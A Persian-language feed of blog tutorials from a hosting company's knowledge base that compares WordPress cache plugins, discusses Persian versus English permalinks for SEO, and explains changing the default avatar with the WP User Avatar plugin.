افزایش سرعت وردپرس و به طور کلی بهینه‌سازی سرعت وبسایت مهمترین مسئله‌ای است که همه ما به دنبالش هستیم تا صفحات سایتمون با سرعت بیشتر و بهتری لود بشن. دلیل این موضوع هم اینه که اولا کاربران قادر باشند با رفع مشکل سرعت وردپرس با سرعت بیشتری به سایت دسترسی داشته باشند و ثانیا موتورهای جستجو هم این مورد را به عنوان یک امتیاز ویژه برای سایتمون در نظر بگیرند و در نتایج بالاتری قرار بگیریم. برای افزایش سرعت در وردپرس همواره راهکارهای مختلفی معرفی شده و به معرفی افزونه‌های گوناگون پرداخته شده که بسیاری از این افزونه‌ها به صورت تجاری عرضه می‌شوند و با استفاده از چنین افزونه‌هایی شاید سرعت سایت ما بهتر بشه اما بیشترین مشکلات را با ناهماهنگی با افزونه‌های دیگه داشته‌اند و همه ما هم باهاشون مواجه شدیم. یکی از این راه‌ها استفاده از کش وردپرس و مدیریت بهتر کش سایت هست که در این مقاله میخوام به معرفی بهترین افزونه کش وردپرس بپردازم.

در این مقاله از پایگاه دانش میزبان‌فا قصد دارم تا به معرفی بهترین افزونه‌های کش وردپرس بپردازم که با استفاده از این آموزش میتونید با پر طرفدارترین افزونه کش در وردپرس آشنا شده و یکی از افزونه‌های مناسب برای کش وردپرس را نصب و استفاده کنید. پس اگر شما هم به دنبال این موضوع هستید که ببینید بهترین افزونه کش وردپرس چیست؟ و کدام افزونه کش وردپرس مناسب‌تر است؟ تا انتها همراه ما باشید.

معرفی و مقایسه بهترین افزونه کش وردپرس

قبل از اینکه به مقایسه بهترین افزونه های کش وردپرس بپردازم لازمه تا ابتدا با کش وردپرس و نحوه کارکرد کش در وردپرس آشنا بشیم و ببینیم که کش وردپرس به چه صورتی باعث افزایش سرعت در وردپرس خواهد شد.

کش وردپرس چیست؟

به زبان خیلی ساده کش وردپرس درواقع یک شامل فایل‌هایی هست که به صورت موقت در حافظه سیستم رایانه یا گوشی شما ذخیره خواهد شد. وقتی کش روی سایت فعال باشه و از طرفی رو مرورگر هم انجام بگیره از هر صفحه از سایتی که به صورت HTML دریافت می‌کنید، فایل‌هایی که مشخص شده به صورت موقت در حافظه باقی بمونن داخل فولدر کش برای مدت زمان تعیین شده قرار می‌گیرند. این فایل‌ها عموما شامل فایل‌هایی هستند که تغییری روی اونها انجام نمیگیره و ثابت هستند. به عنوان نمونه فایل‌های CSS یا تصاویر که تغییری در اونها انجام نمیگیره. حالا که این فایل‌ها به صورت موقت در سیستم ذخیره شدن وقتی شما سایتی رو که قبلا بازدید کردید رو میبینید به جای لود همه فایل‌ها، میاد و فایل‌هایی که به صورت کش شده در سیستم شما وجود دارند رو از سیستم میخونه و درخواستی برای خوندن به سرور ارسال نمیشه. برای همین فایل سریعتر در دسترس قرار گرفته و باعث افزایش سرعت سایت خواهد شد.

از کدام افزونه کش وردپرس استفاده کنیم؟

مخزن وردپرس مملو از افزونه‌های مختلفیه که هر کدوم برای کار خاصی کاربرد دارند و برخی از این افزونه‌ها هدف خاصی رو دنبال می‌کنند. حالا در بین اینا تفاوت‌هایی وجود داره و ممکنه یک افزونه از یک متد و افزونه دیگه از متد دیگه برای انجام وظیفه‌ای که داره استفاده بکنه که همین موضوع باعث میشه یکی از افزونه‌ها بهتر عمل بکنه یا اینکه در حالت خوبش هر دو به یک میزان کارشون رو درست انجام بدن. برای کش وردپرس هم دقیقا همین اتفاق میفته و با روش‌های مختلفی که برای کش وجود داره و بسته به نوع وب سرور و نرم افزارهای استفاده شده روی سرور ممکنه یک افزونه عملکرد بهتری داشته باشه و افزونه دیگه کندتر عمل بکنه. بنابراین باید یکی از بهترین افزونه‌هایی که بر اساس نوع سرور شما وجود داره به عنوان کش در وردپرس استفاده کنید که در ادامه به معرفی بهترین افزونه‌های کش وردپرس می‌پردازم.

بهترین افزونه های کش وردپرس برای افزایش سرعت سایت چیست؟

1. افزونه WP-FFPC

یکی از ساده‌ترین و بهترین افزونه‌های کش وردپرس هست که امکان کش سایت را بر اساس متدهای مختلفی که بر روی سرور قرار داره و شامل APC، APCu، xCache، PHP memcached و Nginx memcached میشه به شما خواهد داد. این افزونه تا به امروز موفق شده بیش از 4.000 نصب فعال رو از مخزن وردپرس به خودش اختصاص بده و از اونجایی که این افزونه سازگاری بهتری با انواع وب سرور داره و انتخاب بیشتری به شما خواهد داد میتونه بهترین انتخاب باشه. گذشته از اون این افزونه با هدف کش ساخته شده و امکانات مختلف دیگه در اون وجود نداره که افزونه حجیم به حساب بیاد. در صورتی که هاست وردپرس خودتون رو از میزبان‌فا خریداری کنید همکاران ما با اتصال کش سرور به وردپرس با استفاده از این افزونه بهترین حالت استفاده از کش را در سایت شما فعال خواهند کرد که میتونید از سرعت بسیار بالاتری در وردپرس بهره‌مند بشید.

آموزش افزونه WP-FFPC


بهترین افزونه های کش وردپرس برای افزایش سرعت سایت چیست؟

2. افزونه w3 total cache

این افزونه هم یکی از معروف‌ترین و پر استفاده‌ترین افزونه کش وردپرس هست که تا به حال موفق شده بیش از 1 میلیون نصب فعال رو در مخزن وردپرس به خودش اختصاص بده و امکان کش وردپرس را در سایت فراهم بکنه.در یک تست انجام گرفته توسط سایت GTmetrix این افزونه موفق شد تا سرعت لود سایت را تا 0/62 ثانیه بهبود بده که چیزی در حدود 20.64 درصد سرعت سایت رو افزایش داده بود. افزونه w3 total cache علاوه بر امکاناتی که برای کش وردپرس در اختیارتون میده امکان استفاده از موارد زیر را هم به شما خواهد داد.

  • امکان فشرده سازی و ترکیب فایل‌های HTML ،CSS و JS
  • کش دیتابیس
  • کاهش زمان اجرای دیتابیس
  • کش Browser
  • استفاده از CDN در وردپرس
  • بهینه سازی کش برای SSL وردپرس
  • و…

آموزش افزونه w3 total cache


بهترین افزونه های کش وردپرس برای افزایش سرعت سایت چیست؟

3. افزونه wp super cache

این افزونه هم تا به امروز موفق شده بیش از 1 میلیون نصب فعال رو به خودش اختصاص بده که در نوع خودش یکی دیگه از افزونه‌های پر طرفدار کش وردپرس هست. به عنوان رقیبی از افزونه w3 total cache هم به حساب میاد و همواره کاربران در انتخاب این دو افزونه بین دو راهی قرار دارند. در یک تست انجام گرفته توسط سایت GTmetrix این افزونه موفق شد تا سرعت لود سایت را تا 0/85 ثانیه بهبود بده که چیزی در حدود 28.7 درصد سرعت سایت رو افزایش داده بود.


بهترین افزونه های کش وردپرس برای افزایش سرعت سایت چیست؟

4. افزونه wp rocket

یکی دیگه از بهترین افزونه‌های کش وردپرس هست که البته به صورت تجاری هست و باید لایسنس اونو به صورت اورجینال از سایت سازنده خریداری کنید. پیشنهاد می‌کنم که از نسخه‌هایی که در وب فارسی در حال عرضه هستند هیچ وقت استفاده نکنید و حتما افزونه را از سایت اصلی و به صورت خرید ارزی تهیه کنید. تعداد دانلود و استفاده این افزونه مشخص نیست، اما به دلیل کارکرد خوبی که داره جز بهترین افزونه کش وردپرس به حساب میاد که میتونید ازش استفاده کنید. در یک تست انجام گرفته توسط سایت GTmetrix این افزونه موفق شد تا سرعت لود سایت را تا 0/98 ثانیه بهبود بده که چیزی در حدود 34.12 درصد سرعت سایت رو افزایش داده بود. در تست سایت Pingdom هم امار به صورت کاهش 1.27 ثانیه‌ای در لود سایت و بهبود سرعت به میزان 35.21 درصد بود.

آموزش افزونه wp rocket


بهترین افزونه های کش وردپرس برای افزایش سرعت سایت چیست؟

5. افزونه wp fastest cache

این افزونه هم تا به امروز موفق شده بیش از 700.000 نصب فعال رو به خودش اختصاص بده که میشه به عنوان یکی دیگه از بهترین افزونه کش وردپرس به حساب آوردش. این افزونه به مرور در حال بهتر شدن هست و نسبت به نسخه‌های اولیه پیشرفت خوبی رو تونسته کسب بکنه. در رابطه با آمار و ارقام هم میشه گفت که تقریبا با افزونه wp super cache به یک میزان قادر به کش وردپرس و افزایش سرعت سایت هست. این افزونه برای فشرده سازی کردن فایل‌های CSS و JS میتونه انتخاب خوبی باشه که امکان استفاده از CDN وردپرس رو هم در اختیار شما قرار خواهد داد.

آموزش افزونه WP Fastest Cache

امیدوارم این مقاله هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید بهترین افزونه کش وردپرس برای افزایش سرعت سایت وردپرس را انتخاب کنید و برای سایت خودتون ازش استفاده کنید. به نظر شما چه افزونه‌های دیگه‌ای وجود داره که میتونه برای کش وردپرس انتخاب خوبی باشه و سرعت وردپرس را تا حد قابل قبولی افزایش بده؟ نظرات و دیدگاه‌های خودتون در مورد بهترین افزونه‌های کش وردپرس رو با ما در میون بزارید.

نوشته معرفی بهترین افزونه‌های کش وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

پیوند یکتا فارسی یا انگلیسی در وردپرس بهتر است؟

$
0
0

پیوند یکتا فارسی یا انگلیسی یکی از سوالاتی هست که کاربران هنگام شروع راه‌اندازی سایت باهاش مواجه خواهند شد. url فارسی یا انگلیسی در وردپرس استفاده کنیم، یا نه، اصلا از URL فینگلیش استفاده کنیم یکی از بحث‌های داغ پیرامون سئو هست که اگر با افراد سئو کار گپ و گفت کوتاهی داشته باشید حتما این مورد رو جزو سوالات پر تکرار میدونن. اما آیا به نظر شما واقعا داشتن یک URL انگلیسی یا فارسی در وردپرس یا هر سیستم سایت ساز دیگه چیز مهمی هست؟ به نظر شما استفاده از آدرس فارسی یا انگلیسی چه تاثیری روی سئو و UX سایت خواهد داشت؟

قطعا چه اینکه به تازگی شروع به راه‌اندازی سایت کرده باشید و چه اینکه مدتی هست سایت رو راه انداختید و حالا این مقاله رو میخونید، تصمیم بزرگی در این مورد که از پیوند یکتا فارسی یا انگلیسی در وردپرس استفاده کنید خواهید گرفت. در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به دلایلی که باعث خواهند شد استفاده از URL فارسی یا انگلیسی در وردپرس رو انتخاب کرده و یکی از اونها رو جزو اولویت‌ها قرار بدیم می‌پردازم. اما از اونجایی که اگر سایت تازه تاسیس نباشه و آدرس‌های زیادی داشته باشید، ممکنه بگین که لینک‌ها دو حالت فارسی و انگلیسی خواهند گرفت، در انتها هم به معرفی راهکاری برای این بخش خواهم پرداخت. پس اگر شما هم هنوز بین انتخاب پیوند یکتا انگلیسی یا فارسی در وردپرس گیر افتادید تا انتهای این مقاله با ما همراه باشید.

پیوند یکتا فارسی یا انگلیسی در وردپرس

قبل از اینکه به این موضوع بپردازیم لازمه که نکاتی را در زمینه پیوند یکتا و ساختار آدرس دهی صفحات سایت در وردپرس یا هر سیستم ساز سایت دیگه رو که به صورت عمومی در همه اونها یکسان هست رو بررسی کنیم.

  • پیوند یکتا، نامک، URL، slug، آدرس صفحه و… همگی یک معنی رو در این مقاله خواهند داد. پس اگر در بخش‌های مختلفی از مقاله این عناوین رو دیدین بدونید که همه این موارد فقط به آدرس اینترنتی صفحه اشاره دارند. حالا این صفحه میتونه یک نوشته، محصول، دسته بندی، برچسب یا هر چیزی باشه.
  • ممکنه تو مقالات مختلف خونده باشید که انتخاب آدرس توی سئو خیلی تاثیر داره و توجه زیادی بهش میشه که به درست و غلط بودن این موضوع یا میزان اهمیت پیوند یکتا در سئو سایت کاری نداریم. اما چیزی که در این بین مهم هست اینه که، سئو مثل یک رتبه کنکور میمونه که باید توی هر کدوم از فاکتورهایی که در سئو سایت تاثیر گذار هستند، رتبه و امتیاز قابل قبولی رو دریافت کنید. برخی از این فاکتورها مثل دروس تخصصی هستن که ضریب و ارزش بالایی دارند، برای همین رعایت اونها میتونه رتبه شما رو نسبت به دروس عمومی که ضریب کمتری دارند بهتر و بیشتر بالا ببره. پس در سئو هم همین حالت رخ میده که پیشنهاد میکنم مقاله فاکتور های سئو و بهینه سازی سایت رو برای درک بهتر موضوع حتما مطالعه کنید.
  • ساختار یک آدرس در وب پارسی در فرمت‌های فارسی، انگلیسی یا فینگلیش دیده میشه که در این بین استفاده از فینگلیش کار اشتباهی هست. چرا که تایپ فینگلیش اصلا چیزی نیست که توی هیچ فرهنگ لغتی وجود داشته باشه. بنابراین همینجا اعلام می‌کنم که از انتخاب آدرس‌هایی که به صورت فینگلیش هستند شدیدا دوری کنید.
  • و نکته آخر اینکه انتخاب URL فارسی یا انگلیسی در این مقاله هم از نظر سئو مورد بررسی قرار میگیره و هم از نظر UX یا رابط کاربری که باید به هر دو نکته در این زمینه توجه کنید.

برای انتخاب پیوند یکتای مناسب در وردپرس به صورت کلی میشه یک قانون دو بخشی رو در نظر گرفت که اگر از این قانون تبعیت کنید، میشه گفت ساختار آدرس سایت شما بهینه خواهد بود.

کوتاه و مرتبط با موضوع صفحه

خب، بیاین این نقل قول بالا رو کمی بازتر کنیم و به هر دو شرط لازم برای انتخاب پیوند یکتای فارسی یا انگلیسی در وردپرس بپردازیم.

1. آدرس‌ها کوتاه باشند!

اگر در آدرس‌هایی که در هنگام افزودن نوشته در وردپرس ساخته میشه دقت کرده باشید، در صورتی که پیوند یکتا روی حالت نام نوشته قرار داشته باشه و تغییری در اون لحاظ نکنید وقتی آدرس نوشته رو کپی می‌کنید و داخل شبکه‌های اجتماعی یا یک پیام رسان مثل تلگرام paste می‌کنید آدرس به صورت کلی زیر و رو شده و کاراکترهایی مثل % و 2 و F و… در اون قابل مشاهده هستند. اما حالا اگر نوشته دیگه بسازید و از یک عنوان انگلیسی استفاده کنید، بعد از اینکه لینک برای نوشته ساخته شد به صفحه نوشته که مراجعه کنید میبینید که دقیقا کلماتی که توی عنوان تایپ کردید تو آدرس هم قرار داره و با یک کاراکتر خط تیره از هم جدا شدند.

توی این حالت آدرس‌هایی که انگلیسی هستند کوتاه‌تر خواهند بود و آدرس‌های فارسی بلند هستند. پس میشه گفت که از نظر اینکه URL انگلیسی یا فارسی انتخاب کنیم، استفاده از حالت انگلیسی به دلیل کوتاه بودن و تغییر کاراکترهای زبان محلی بهتر و کوتاه‌تر خواهد بود. کوتاه بودن آدرس هم که یک ملاک اصلی برای موتورهای جستجو به حساب میاد. پس نتیجه می‌گیریم که، از این نظر استفاده از URL انگلیسی اولویت خواهد داشت.

2. آدرس‌ها معنا دار باشند!

گوگل روز به روز در حال هوشمندتر شدن هست و اگه همین روند رو در پیش بگیره تا چند سال دیگه حالتی پیش میاد که هر چیزی از گوگل برای هر زبانی قابل درک و فهم خواهد بود. یعنی میتونه با خوندن آدرس نوشته شما بدونه که توی این نوشته درباره چه موضوعی محتوا تولید شده و سپس با بررسی کردن محتوا ببینه که آیا اصلا چیزی که در آدرس وجود داشته با محتوا یکسان هست؟ اگه یادتون باشه تا همین یک سال پیش تا موضوعی رو جستجو می‌کردیم کلی سایت خبرخوان میدیدیم که آدرس صفحه همون چیزی بود که ما به دنبالش بودیم، اما وقتی به صفحه میرفتیم با یک محتوای تو خالی که عموما پر بود از تبلیغات یا متنی که حتی کلمه‌ای از اون آدرس هم داخلش وجود نداشت. اما حالا دیگه چنین سایت‌هایی به چشم نمیخورند.

پس میشه گفت گوگل به کمک ابزاری تونسته آدرس‌های صفحات رو درک کنه و با بررسی کردن محتوا و آنالیز کاملش برای هر زبانی بفهمه که اصلا محتوایی که داخل این صفحه هست با آدرس همخونی داره یا خیر. بنابراین از نظر معنایی هم میشه این نتیجه رو گرفت که اگر پیوند یکتا یا SLUG که برای نوشته انتخاب میکنید شامل موضوع نوشته باشه و بشه از آدرس فهمید که در این صفحه چه محتوایی قرار داره میشه نتیجه خوبی از نظر رتبه بندی هم دریافت کرد. البته فراموش نکنید که این موضوع با فاکتورهای خیلی زیادی بستگی داره و نباید انتظار اینو داشته باشید که با یک تغییر آدرس رتبه نوشته رو فرسنگ‌ها جابجا کنید و به عرض نتایج برسید.

به عنوان نمونه اگر شما در سایتتون محتوا یا صفحه از انجام خدمات سئو و بهینه سازی سایت داشته باشید چه آدرس شما به صورت site.com/seo باشه و چه به صورت سئو/site.com وارد شده باشه گوگل کاملا میتونه این دو آدرس رو درک کنه و تشخیصشون بده که این دو ساختار آدرس با هم در ارتباط معنایی هستند.

URL فارسی یا انگلیسی

بر اساس دو قانونی که در بالا ذکر شد، با یک دو راهی مواجه میشیم که آیا از URL فارسی استفاده کنیم یا اینکه از URL انگلیسی! چرا که از نظر کوتاه آدرس انگلیسی و از نظر معنایی هم هر دو تقریبا در یک سطح قرار دارند. برای اینکه بشه به یک انتخاب درست طبق این قانون رسید به برتری‌های هر کدوم می‌پردازیم.

1. کوتاه بودن آدرس انگلیسی نسبت به فارسی

همونطور که در بالا اشاره شد یک آدرس انگلیسی در مقایسه با پیوند یکتای فارسی کوتاه‌تر هست. البته شاید فکر کنید و بگید که آدرس‌های فارسی توی نتایج به همون شکل نشون داده میشه و مشکلی نیست. اما باید اینو بدونید که در ظاهر شاید اینطور باشه، اما از نظر ساختاری و فنی اینطور نیست. برای این موضوع کافیه با بررسی سورس صفحات سایت، آدرس نوشته رو ببینید که با همون کاراکترهای بی معنی نوشته شده. از طرف دیگه اگه عنوان شما کمی بلند باشه موقع ساخته شدن لینک میبینید که بخش‌های آخر حذف میشن و دلیلش اینه که وردپرس برای اینکه آدرس‌های سایت سئو بهتری داشته باشند تعداد کاراکترهای قابل استفاده در آدرس رو محدود کرده. برای همین ممکنه بخشی از عنوان که شامل کلمه کلیدی هست در آدرس وجود نداشته باشه.

2. سئو بهتر آدرس انگلیسی نسبت به فارسی

همونطور که تو مورد قبلی گفتم، کوتاه بودن آدرس میتونه بهترین تاثیر در سئو رو داشته باشه. حالا این آدرس میتونه فارسی باشه و یا اینکه انگلیسی! چرا که در هر دو حالت برای موتور جستجو قابل فهم هست. آدرس فارسی بخاطر طولانی بودن باعث میشه که از نظر بهینه سازی رتبه کمتری داشته باشه.

3. رابط کاربری آدرس انگلیسی نسبت به فارسی

اگه دقت کرده باشید، وقتی آدرس‌های شما انگلیسی هستند خوانا هستن و به راحتی میشه اونها رو به همون حالتی که هستند دید. اما در حالت فارسی آدرس‌ها غیرقابل خوانا هستند و از کاراکترهایی تشکیل شده که نمیشه اونها رو خوند و برای اینکه بشه فهمید آدرس URL در حالت فارسی چی هست باید یا به اون لینک مراجعه کنید و یا اینکه آدرس رو توی باکس آدرس وارد کنید که معادل فارسی اون قابل مشاهده باشه و بفهمید که در آدرس که کلمات و عباراتی قرار دارند.

4. آنالیز سخت آدرس فارسی نسبت به انگلیسی

ما نیاز داریم که سایت خودمون رو از هر نظر بررسی کنیم. یکی از این موارد بررسی آمار و سایت‌هایی هست که به ما لینک دادند. وقتی وارد بخش referrals در گوگل آنالیتیکس میشید، اگر آدرس فارسی باشه با این منظره مواجه خواهید شد که در این نمونه دوتا از صفحات سایت چطور هستند که به پایگاه دانش میزبان‌فا لینک داده شده.

پیوند یکتا فارسی یا انگلیسی ؟ url فارسی یا انگلیسی در وردپرس ؟

اگه بخوایم که این لینک رو بررسی کنیم و ببینیم که وضعیت آماری و محتوای صفحه چی هست مجبوریم چندین بار کپی پیست داشته باشیم و به صفحه مراجعه کنیم تا یه آنالیز کلی از صفحه به دست بیاریم. اما اگر آدرس انگلیسی باشه با حالتی مثل زیر مواجه میشیم که به دلیل خوانا بودن آدرس مشکلی از این بابت نخواهیم داشت.

پیوند یکتا فارسی یا انگلیسی ؟ url فارسی یا انگلیسی در وردپرس ؟

که توی این نمونه آدرس‌هایی که از سایت شخصی خودم به پایگاه دانش میزبان‌فا لینک شده قابل مشاهده هستند که بخاطر انگلیسی بودن آدرس خوانا هستند و شاید اصلا نیازی نباشه به صفحه سایتی که لینک داده برای آنالیز مراجعه کنیم.


چند نکته در انتخاب آدرس فارسی یا انگلیسی

نکته اول: اگر مقاله آموزش سبز کردن چراغ سئو در افزونه Yoast SEO رو مطالعه کرده باشید، این افزونه در چک لیست اقداماتی که باید برای سئو کردن یک نوشته انجام بدین با عنوان کلید واژه تمرکزی در URL این صفحه ظاهر نمی‌شود قرار داره که نشون از عدم استفاده از کلمه کلیدی در ادرس داره. حالا چون کلمات کلیدی ما فارسی هستند برخی کاربران سوال می‌کنند که توی این حالت باید چه کاری انجام بدیم؟

در این حالت اگر تا کنون از آدرس انگلیسی در وردپرس استفاده می‌کردید باید از استفاده از کلمات فارسی در آدرس دوری کنید. پس نیازی نیست به این مورد فکر کنید، چرا که آدرس‌ها چه فارسی و چه انگلیسی برای گوگل قابل فهم هستند.

نکته دوم: اگه به صفحه Search Engine Optimization در پشتیبانی گوگل مراجعه کنید، گوگل صراحتا اعلام میکنه که ساختاری که برای آدرس‌های سایت انتخاب می‌کنید باید دارای ویژگی زیر باشند.

  • آدرس‌ها نباید شامل پارامترهای ID و… باشند. البته این موضوع برای جستجو در سایت و محصولات که قصد دارید با چنین ساختار و ویژگی یک صفحه خاصی رو نمایش بدین مشکلی نخواهد داشت.
  • از نام‌ها عمومی و استفاده از عباراتی مثل html. در انتهای صفحات دوری کنید.
  • از کلمات کلیدی مختلف در آدرس که صرفا با هدف بهینه کردن آدرس از نظر کلمه کلیدی برای گوگل هست دوری کنید.
  • از درج کلماتی در آدرس که ربطی به موضوع صفحه نداره دوری کنید.
  • از پوشه بندی کردن و جدا کردن آدرس‌ها با کاراکتر / و به تعداد زیاد دوری کنید.

نکته سوم: اینکه از آدرس فارسی یا انگلیسی استفاده کنید چندان تفاوتی با هم نداره و استفاده از هر دو حالت صرفا باید طبق همون قانون کوتاهی و معنادار بودن انتخاب بشه. چرا که سئو و بهینه سازی یک صفحه از نظر URL دیگه مثل گذشته اهمیت بالایی نداره و مثل کنکور جزو دروس عمومی دسته بندی شده است.

نتیجه گیری نهایی

اینکه از آدرس فارسی یا انگلیسی استفاده کنید دیگه از نظر سئو و بهینه سازی تفاوت زیادی نداره و فقط کافیه لینک‌های شما کوتاه و معنادار باشند. حتی در زبان‌های محلی به خاطر اینکه عمده جستجو مربوط به زبان همون موقعیت مکانی هست میتونه استفاده از آدرس فارسی بهتر هم باشه. اما در انتخاب آدرس انگلیسی یا فارسی یک نکته وجود داره که همون UX یا رابط کاربری هست که کمتر بهش توجه میشه. در صورتی که زبان فارسی انتخاب شده باشه کاراکترهای بی معنی در آدرس وجود داره و کوتاهی لینک‌ها رو نقش خواهد کرد. به همین خاطر هست که استفاده از آدرس انگلیسی بخاطر کوتاه‌تر بودن و خوانا بودن مهم‌تر خواهد بود. نظر شما در این رابطه چیه؟

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید تصمیم بگیرید که از چه URL و آدرسی برای صفحات سایت استفاده کنید. در صورتی که در رابطه با این آموزش و پیوند یکتا فارسی یا انگلیسی در وردپرس سوال یا مشکلی داشتید از بخش دیدگاه‌ها اعلام کنید. همچنین نظرات و تجربیات خودتون در این زمینه رو میتونید با کاربران وب پارسی به اشتراک بگذارید.

نوشته پیوند یکتا فارسی یا انگلیسی در وردپرس بهتر است؟ اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش تغییر آواتار پیشفرض در وردپرس

$
0
0

یکی از مشکلاتی که ممکنه تو سایت وردپرسی خودتون باهاش مواجه بشید کند شدن سایت در صفحاتی هست که بیشترین دیدگاه رو دارند. دیدگاه‌های زیاد در صفحه باعث میشن که وقتی کاربر داخل صفحه شما میاد همینطور مدتی منتظر بمونه که تصاویر پروفایل از گراواتار دانلود بشه و نمایش داده بشه. و از طرفی چون در کشور عزیزمون گاها دسترسی به سایت گراواتار با مشکل مواجه میشه همین مسئله باعث میشه همچنان مرورگر در حالت لودینگ صفحه برای مدت طولانی باقی بمونه و سرعت سایت رو هم کاهش بده. یک مسئله دیگه که وجود داره این هست که تعداد درخواست‌های HTTP هم برای لود تصاویر از منابع خارجی بالا میره که توی مقاله آموزش افزایش سرعت سایت وردپرس در gtmetrix به توضیح این مورد پرداختم. پس به نظر شما چه راهکاری وجود داره که بتونیم از این کار جلوگیری کنیم؟

معمولا بیشتر کامنت‌هایی که در این مدت چند ساله داخل پایگاه دانش میزبان‌فا دریافت کردیم به نسبت تقریبا برابری از گراواتار استفاده کرده بودند. با معرفی سایت گراواتار تو سایت‌های دیگه هم کاربران دنبال این قضیه بودند که برای خودشون عکس اواتاری مشخص کنند. پس این افزایش باعث میشه به فکر چاره‌ای برای این کار بیفتید. یکی از این راه‌ها تغییر آواتار پیشفرض وردپرس هست که میتونید یک عکسی رو انتخاب کنید که به صورت پیشفرض در آواتار کاربران نمایش داده بشه و یا اینکه حالتی رو انتخاب کنید که هر کاربری که عکس آواتار نداره از یک عکس پیشفرض براش استفاده کنید. توی این آموزش قصد دارم به معرفی افزونه تغییر آواتار در وردپرس بپردازم که با استفاده از این افزونه میتونید تا حد مطلوبی سرعت لود سایت رو بالا ببرید.

آموزش تغییر آواتار پیشفرض وردپرس

افزونه‌ای که برای تغییر آواتار در وردپرس قصد دارم معرفی کنم با عنوان WP User Avatar در مخزن وردپرس به ثبت رسیده و تاکنون موفق شده بیش از 300.000 نصب فعال و کسب امتیاز 4.5 رو ازآن خودش بکنه که با استفاده از این افزونه میتونید از امکانات زیر برخوردار بشید.

  • تغییر آواتار پیشفرض وردپرس
  • استفاده از آواتار دلخواه در هاست سایت به جای نمایش از سایت گراواتار
  • امکان اجازه به کاربران برای انتخاب آواتار
  • غیرفعال کردن استفاده از گراواتار در وردپرس
  • امکان انتخاب نوع آواتار

برای استفاده از این افزونه میتونید روی دکمه زیر کلیک کنید تا به صفحه افزونه WP User Avatar در مخزن وردپرس هدایت شده و سپس با استفاده از راهنمای نصب افزونه در وردپرس اقدام به نصب و فعال کردن افزونه WP User Avatar بکنید. در ادامه به آموزش افزونه WP User Avatar می‌پردازم.

دانلود افزونه WP User Avatar

بعد از نصب و فعال سازی افزونه WP User Avatar مشابه تصویر زیر منویی با نام Avatars در پیشخوان سایت وردپرسی شما اضافه میشه که با رفتن به این منو میتونید تنظیمات افزونه WP User Avatar رو برای نمایش عکس پروفایل در وردپرس شخصی سازی کنید.

تغییر آواتار پیشفرض وردپرس و افزایش سرعت با تغییر آواتار وردپرس

تنظیمات افزونه افزونه WP User Avatar

Add avatar button to Visual Editor: با فعال کردن این گزینه دکمه‌ای به ویرایشگر وردپرس سایت شما اضافه میشه که از طریق اون میتونید تصویر دلخواه برای پروفایل رو انتخاب کنید.

Disable Gravatar and use only local avatars: با فعال کردن این گزینه به صورت کلی استفاده از تصاویر گراواتار در بخش دیدگاه‌های وردپرس و سایت شما غیرفعال شده و از تصویری که به صورت پیشفرض در ادامه آموزش توسط این آموزش انتخاب می‌کنید در سایت استفاده خواهد شد.

Avatar Display: با انتخاب این گزینه میتونید مشخص کنید که اصلا قصد استفاده از آواتار در وردپرس رو دارید یا خیر. اگر این گزینه رو غیرفعال کنید آواتار در وردپرس نمایش داده نخواهد شد.

Maximum Rating: در صورتی که همچنان امکان استفاده از گراواتار در وردپرس وجود داشته باشه، با استفاده از این بخش میتونید نوع آواتار قابل نمایش در وردپرس رو که بر اساس رده سنی هست و از تنظیمات اکانت گراواتار خونده میشه انتخاب کنید.

انتخاب عکس پروفایل نظرات وردپرس

Allow Contributors & Subscribers to upload avatars: با فعال کردن این گزینه امکانی به کاربران داده میشه که قادر باشند موقع ارسال دیدگاه در وردپرس تصویر دلخواه خودشون رو هم برای آواتار انتخاب کنند. بعد از فعال کردن این گزینه تنظیمات زیر نمایش داده خواهند شد.

تغییر آواتار پیشفرض وردپرس و افزایش سرعت با تغییر آواتار وردپرس

Upload Size Limit: با استفاده از این گزینه که یک نوار کشیدنی هم داره میتونید حداکثر حجم تصویر برای آپلود شدن در هاست رو انتخاب کنید. این حجم بر اساس بایت هست که باید اونو بر اساس KB محاسبه کنید و یک حجم معقول براش در نظر بگیرید که حجم زیادی از هاست و صفحه شما برای انتخاب عکس پروفایل اشغال نشه.

Allow users to edit avatars: با فعال کردن این گزینه امکانی برای کاربران فراهم میشه که قادر باشند تصویر خودشون رو ویرایش کرده و بعد از مدتی تغییرش بدن.

Resize avatars on upload: با فعال کردن این گزینه برش تصاویر پروفایل انجام میگیره که این کار باعث میشه اگه تصویری مستطیلی هست با این برش خوردن به صورت مربعی و درست نمایش داده بشه که امکان انتخاب اندازه هم براش تعریف شده و میتونید اندازه برش تصویر رو هم مشخص کنید. در قالب جنه این اندازه روی 100 پیکسل هست که ما هم برای این قالب از این گزینه استفاده کردیم.

تغییر آواتار پیشفرض وردپرس

در حالت عادی با رفتن به منوی تنظیمات> گفت و گوها در پیشخوان وردپرس میتونید تنظیمات دلخواه برای نمایش آواتار رو مشخص کنید که از تصاویر تصادفی، گراواتار یا تصویر ثابت استفاده کنید. اما شاید دوست داشته باشید که تصویر دلخواه خودتون رو به عنوان تصویر پیشفرض در نظر بگیرید، به طوری که اگر کاربری که نظری در سایت ارسال میکنه یا عضو سایت هست، دارای تصویر گراواتار بود بر اساس تنظیماتی که در بالا انجام دادید تصویر گراواتار نمایش داده بشه و اگر کاربری فاقد تصویر گراواتار بود یک تصویر دلخواه براش استفاده بشه که با رفتن به بخش Default Avatar میتونید این حالت رو انتخاب کنید.

برای این کار ابتدا روی دکمه Choose Image کلیک کنید. سپس یک تصویر دلخواه رو از طریق رسانه وردپرس آپلود کنید یا اینکه اگه از قبل تصویر یا لوگو سایت که شاید دوست داشته باشید نشونش بدین رو انتخاب کنید. سپس تنظیمات این گزینه رو روی حالت WP User Avatar انتخاب کنید که از تصویری که آپلود کردید به عنوان تصویر آواتار کاربران استفاده بشه.

تغییر آواتار پیشفرض وردپرس و افزایش سرعت با تغییر آواتار وردپرس

با انتخاب گزینه WP User Avatar حالا تو بخش نظرات وردپرس هر کاربری که فاقد گراواتار باشه و اگه استفاده از گراواتار رو از بخش Disable Gravatar and use only local avatars غیرفعال نکرده باشید این تصویر به عنوان تصویر آواتار انتخاب خواهد شد.

آپلود تصویر پروفایل در وردپرس

